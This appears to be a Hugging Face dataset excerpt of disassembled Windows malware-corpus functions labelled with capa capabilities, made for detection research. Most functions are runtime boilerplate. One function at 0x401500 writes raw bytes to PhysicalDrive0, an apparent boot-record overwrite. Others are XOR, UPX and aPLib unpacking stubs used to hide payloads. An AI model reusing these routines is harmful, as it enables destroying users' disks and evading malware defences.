joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c58a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x43c5c7
cmp dword [ebp + 0x14], edi
je 0x43c5c7
cmp ecx, edi
jne 0x43c5ce
call fcn.0043d606
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0043fc29
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x43c5e2
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x43c603
cmp ebx, 0xffffffff
je 0x43c5f2
push ebx
push edi
push ecx
call fcn.00437d90
add esp, 0xc
cmp esi, edi
je 0x43c5af
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x43c5af
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x43c61f
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x43c626
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x43c717
test word [esi + 0xc], 0x10c
je 0x43c67a
mov eax, dword [esi + 4]
test eax, eax
je 0x43c67a
jl 0x43c778
cmp ebx, eax
mov edi, ebx
jb 0x43c64b
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x43c71f
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00437c8f
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x43c70f
cmp ebx, dword [ebp - 0xc]
jb 0x43c6e7
cmp dword [ebp - 0xc], 0
je 0x43c6a4
mov ecx, SysReAllocString
xor edx, edx
cmp ebx, ecx
jbe 0x43c699
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x43c6a0
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x43c6af
mov eax, SysReAllocString
cmp ebx, eax
ja 0x43c6af
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x43c74b
push eax
push dword [ebp - 8]
push esi
call fcn.0043db2a
pop ecx
push eax
call fcn.00448052
add esp, 0xc
test eax, eax
je 0x43c78a
cmp eax, 0xffffffff
je 0x43c778
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x43c70f
push esi
call fcn.004461e0
cmp eax, 0xffffffff
pop ecx
je 0x43c77c
cmp dword [ebp - 4], 0
je 0x43c74b
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x43c62e
mov eax, dword [ebp + 0x14]
jmp 0x43c5c9
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x43c736
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00437d90
add esp, 0xc
call fcn.0043d606
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x43c5bf
cmp dword [ebp + 0xc], 0xffffffff
je 0x43c761
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00437d90
add esp, 0xc
call fcn.0043d606
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x43c5bf
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x43c5c9
or dword [esi + 0xc], 0x10
jmp 0x43c77c
Function at 0x43e897
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x46fe90]
je 0x43e8b2
inc edi
cmp edi, 0x17
jb 0x43e8a3
cmp edi, 0x17
jae 0x43ea32
push ebp
push 3
call fcn.0044afcf
cmp eax, 1
pop ecx
je 0x43e9fe
push 3
call fcn.0044afcf
test eax, eax
pop ecx
jne 0x43e8e6
cmp dword [0x46f9d8], 1
je 0x43e9fe
cmp ebx, 0xfc
je 0x43ea31
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x473e60
push ebp
call fcn.0044af6a
add esp, 0xc
test eax, eax
je 0x43e91c
push esi
push esi
push esi
push esi
push esi
call fcn.0043fb2d
add esp, 0x14
push 0x104
mov esi, 0x473e79
push esi
push 0
mov byte [0x473f7d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x43e960
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0044af6a
add esp, 0xc
test eax, eax
je 0x43e960
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0043fb2d
add esp, 0x14
push esi
call fcn.00438d10
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x43e9a5
push esi
call fcn.00438d10
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x474174
push 0x45a59c
sub ecx, eax
push ecx
push eax
call fcn.0044aeb7
add esp, 0x14
test eax, eax
je 0x43e9a5
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0043fb2d
add esp, 0x14
jmp 0x43e9a7
xor esi, esi
push 0x45a598
push ebx
push ebp
call fcn.0044ae46
add esp, 0xc
test eax, eax
je 0x43e9c7
push esi
push esi
push esi
push esi
push esi
call fcn.0043fb2d
add esp, 0x14
push dword [edi*8 + 0x46fe94]
push ebx
push ebp
call fcn.0044ae46
add esp, 0xc
test eax, eax
je 0x43e9e9
push esi
push esi
push esi
push esi
push esi
call fcn.0043fb2d
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0044ac89
add esp, 0xc
jmp 0x43ea31
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x43ea31
cmp ebp, 0xffffffff
je 0x43ea31
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x46fe94]
push dword [esi]
call fcn.00438d10
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x44ac89
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0043f45b
xor ebx, ebx
cmp dword [0x47496c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x44ad5f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x44ae3f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x44ae3f
push eax
call fcn.0043f3ed
mov dword [esp], 0x45a9f8
push edi
mov dword [0x47496c], eax
call esi
push eax
call fcn.0043f3ed
mov dword [esp], 0x45a9e4
push edi
mov dword [0x474970], eax
call esi
push eax
call fcn.0043f3ed
mov dword [0x474974], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0043ad7d
test eax, eax
pop ecx
pop ecx
je 0x44ad2d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043fb2d
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x44ad5f
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0043f3ed
cmp eax, ebx
pop ecx
mov dword [0x47497c], eax
je 0x44ad5f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043f3ed
pop ecx
mov dword [0x474978], eax
mov eax, dword [0x474978]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x44ade4
cmp dword [0x47497c], ecx
je 0x44ade4
push eax
call fcn.0043f464
push dword [0x47497c]
mov esi, eax
call fcn.0043f464
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x44ade4
cmp edi, ebx
je 0x44ade4
call esi
cmp eax, ebx
je 0x44adb1
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44adb1
test byte [ebp - 0x18], 1
jne 0x44ade4
lea eax, [ebp - 0x10]
push eax
call fcn.0043adb4
test eax, eax
pop ecx
je 0x44adcc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0043fb2d
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x44addb
or dword [ebp + 0x10], 0x200000
jmp 0x44ae1f
or dword [ebp + 0x10], 0x40000
jmp 0x44ae1f
mov eax, dword [0x474970]
cmp eax, dword [ebp - 8]
je 0x44ae1f
push eax
call fcn.0043f464
cmp eax, ebx
pop ecx
je 0x44ae1f
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x44ae1f
mov eax, dword [0x474974]
cmp eax, dword [ebp - 8]
je 0x44ae1f
push eax
call fcn.0043f464
cmp eax, ebx
pop ecx
je 0x44ae1f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47496c]
call fcn.0043f464
cmp eax, ebx
pop ecx
je 0x44ae3f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44ae41
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401500
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x4060c0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x4033e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00403440

Function at 0x403440
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x407050]
test esi, esi
jle 0x40352d
mov edi, dword [0x407054]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x403474
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x403526
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x403460
mov dword [esp], eax
mov ebx, eax
call fcn.00403d80
test eax, eax
mov edi, eax
je 0x40356a
lea ebx, [esi + esi*2]
mov esi, dword [0x407054]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00403e80
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x407054]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40354a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40351f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40351f
mov eax, dword [esp + 0x20]
add ebx, dword [0x407054]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x403534
add dword [0x407050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x40347e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004033e0
mov eax, dword [0x407054]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004033e0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004033e0
lea esi, [esi]
Function at 0x403a30
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x407408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x407400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x403a85
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x403a7e
test esi, esi
je 0x403a7e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403a60
mov dword [esp], 0x407408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403ca0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x403cd8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x403cce
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x403cda
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x403cc0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x47aa7262
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x432060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1ce10bcd
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0xfd0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00fd01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xfd007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfd006a
add dl, dl
jne 0xfd0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfd00dc
xor eax, eax
add dl, dl
jne 0xfd0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfd017d
add dl, dl
jne 0xfd00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfd00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfd00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfd00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xfd00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xfd0075
mov eax, 1
add dl, dl
jne 0xfd00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfd00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfd00e1
sub eax, ebx
mov ebx, 1
jne 0xfd0128
mov ecx, 1
add dl, dl
jne 0xfd010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfd0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfd0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfd0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xfd013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfd014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfd0136
cmp eax, 0x7d00
jae 0xfd016d
cmp eax, 0x500
jb 0xfd0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfd0075
cmp eax, 0x7f
ja 0xfd0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfd0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xfd019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xfd0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x723b30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22f000]
push edi
jmp 0x723b4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x723b51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x723b40
mov eax, 1
add ebx, ebx
jne 0x723b63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x723b74
jne 0x723b93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x723b93
dec eax
add ebx, ebx
jne 0x723b80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x723b58
add ebx, ebx
jne 0x723b8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x723be5
xor ecx, ecx
sub eax, 3
jb 0x723bab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x723c1a
sar eax, 1
mov ebp, eax
jmp 0x723bb6
add ebx, ebx
jne 0x723bb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x723b84
inc ecx
add ebx, ebx
jne 0x723bc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x723b84
add ebx, ebx
jne 0x723bd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x723bc6
jne 0x723be2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x723bc6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x723c04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x723bf6
jmp 0x723b46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x723c04
add edi, ecx
jmp 0x723b46
pop esi
mov edi, esi
mov ecx, 0x8905
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x723c22
cmp byte [edi], 0x38
jne 0x723c22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x723c27
lea edi, [esi + 0x31f000]
mov eax, dword [edi]
or eax, eax
je 0x723c9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x33502c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x335158]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x723c54
mov ecx, edi
jns 0x723c83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x33515c]
or eax, eax
je 0x723c99
mov dword [ebx], eax
add ebx, 4
jmp 0x723c71
call dword [esi + 0x33516c]
mov ebp, dword [esi + 0x335160]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x723cd3
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x98
lea eax, [ebp - 0x9c]
push 0
push eax
call fcn.004063c0
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401052
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x9c]
cmp eax, 6
jne 0x4010bf
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x401080
cmp byte [ebp - 6], 1
setne al
lea eax, [eax + eax + 4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x4010a0
xor eax, eax
cmp byte [ebp - 6], 1
setne al
lea eax, [eax + eax + 5]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x401103
xor eax, eax
cmp byte [ebp - 6], 1
setne al
add eax, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
cmp eax, 5
jne 0x401103
mov eax, dword [ebp - 0x98]
cmp eax, 2
jne 0x4010e2
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x4010fa
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
test eax, eax
jne 0x401103
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret

Function at 0x401120
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x803]
push ebx
push eax
mov byte [ebp - 0x804], bl
call fcn.004063c0
push 0x3ff
lea ecx, [ebp - 0x403]
push ebx
push ecx
mov dword [ebp - 0x808], ebx
mov dword [ebp - 0x80c], ebx
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x404], bl
call fcn.004063c0
add esp, 0x18
push 0x400
lea edx, [ebp - 0x404]
push edx
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x80c]
push ecx
lea edx, [ebp - 0x808]
push edx
push 0x400
lea eax, [ebp - 0x804]
push eax
push 0x40ea7c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
and eax, dword [ebp - 0x808]
xor ecx, ebp
pop ebx
call fcn.00403107
mov esp, ebp
pop ebp
ret
Function at 0x401290
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004063c0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4012e8
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
mov cl, 0x5c
lea ebx, [ebx]
dec eax
cmp byte [ebp + eax - 0x108], cl
jne 0x4012f0
mov byte [ebp + eax - 0x107], 0
lea eax, [ebp - 0x108]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401310
mov edx, dword [str.rss.tmp]
mov ecx, dword [0x40ea88]
push esi
mov dword [eax], edx
lea edx, [ebp - 0x108]
push 0x40ea8c
push edx
mov dword [eax + 4], ecx
call fcn.0040386f
mov esi, eax
add esp, 8
test esi, esi
jne 0x401355
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push ebx
push edi
push 2
push 0
push esi
call fcn.00403f41
push esi
call fcn.00403e52
push 0
push 0
push esi
mov edi, eax
call fcn.00403f41
lea eax, [edi + 0x1a4]
push eax
mov dword [ebp - 0x10c], eax
call fcn.0040371f
mov ebx, eax
add esp, 0x20
mov dword [0x412604], ebx
test ebx, ebx
jne 0x4013a7
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403107
mov esp, ebp
pop ebp
ret
push edi
push 0
push ebx
call fcn.004063c0
push esi
push 1
push edi
push ebx
call fcn.00403ad0
push esi
call fcn.0040402a
mov esi, dword [ebp - 0x10c]
mov edx, dword [0x412604]
add esp, 0x20
xor ecx, ecx
test esi, esi
jle 0x4013ea
mov al, byte [ecx + edx]
test al, al
je 0x4013e5
cmp al, 0x56
je 0x4013e5
xor al, 0x56
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
jl 0x4013d5
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
mov al, 1
pop esi
call fcn.00403107
mov esp, ebp
pop ebp
ret